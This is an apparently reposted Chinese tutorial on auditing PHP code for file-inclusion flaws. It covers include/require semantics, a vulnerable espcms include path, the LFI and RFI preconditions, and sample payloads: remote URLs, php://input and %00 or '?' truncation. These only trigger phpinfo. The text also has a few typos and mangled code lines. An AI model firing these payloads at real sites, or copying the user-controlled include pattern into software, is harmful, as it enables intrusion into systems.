PHP-代码审计-文件包含
生活随笔
收集整理的這篇文章主要介紹了
PHP-代码审计-文件包含
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
文件包含
文件包含函數
- include() include_one() require() require_once()
- 他們之間的區別在于:
include()和include_one
在包含文件時即使遇到錯誤,下面的代碼依然會繼續執行;而require()和require_one() 則會直接報錯退出程序
挖洞經驗
文件包含大多出現在模塊加載,模塊加載以及cache調用的地方,比如傳入的模塊名參數,實際上是直接吧這個拼接到了包含文件的路徑,比如像espcms的代碼:
$archive = indexget('archive','R') $archive = empty($archive) ? 'adminuser' : $archive; $action = indexget('action','R'); $action = empty($action) ? 'login' : $action; include = admin_ROOT . adminfile . "/control/$archive.php"- 傳入的archive參數就是被包含的文件名,所以我們挖掘漏洞的時候,可以跟蹤一下程序的流程,看看模塊是否加載時包含的文件可控,
- 另外就是直接搜索
include(),include_one() require() require_onece() 這4個函數來回溯看看
本地文件包含
LFI
條件
1.allow_url_fopen=On
2.用戶可以動態控制變量
- 指只能包含本機文件的文件包含漏洞
- 測試代碼1.php
- 測試代碼2.php
- 請求/1.php?mod=2執行結果
- 將會輸出phpinfo頁面
遠程文件包含
RFI
條件
1.allow_url_include=On
2.用戶可以動態控制變量
- 指用戶可以包含遠程文件的包含漏洞
- 很少能挖到
基于http測試代碼
1.php
- 利用則在GET請求url參數中傳入http://遠程主機地址/2.txt
- 其中遠程機器上2.txt是一個內容為:<?php phpinfo();?> ,訪問后返回phpinfo信息
- 還有一種利用手段,只要執行1.php?url=php://input ,post內容填<?php phpinfo();?>
- 便會打印phpinfo信息
文件包含截斷
- 大多數文件包含都是需要截斷的,因為正常程序里面包含的文件代碼一般像include(BASEPATH.mod.′.php′)或include(mod.'.php')或include(mod.′.php′)或include(mod.’.php’)這樣的方式,如果我們不能寫入以.php為擴展名的文件,拿我們就需要截斷來利用
3種姿勢
- %00截斷: http//xx/1.php?url=1.txt%00, php5.3以后不支持該方法
- 多個英文句號反斜杠截斷: php5.3以后也被修復
- ? 截斷:http//xx/1.php?url=1.txt?
總結
以上是生活随笔為你收集整理的PHP-代码审计-文件包含的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: PHP-代码审计-CSRF
- 下一篇: PHP-代码审计-文件读取(下载)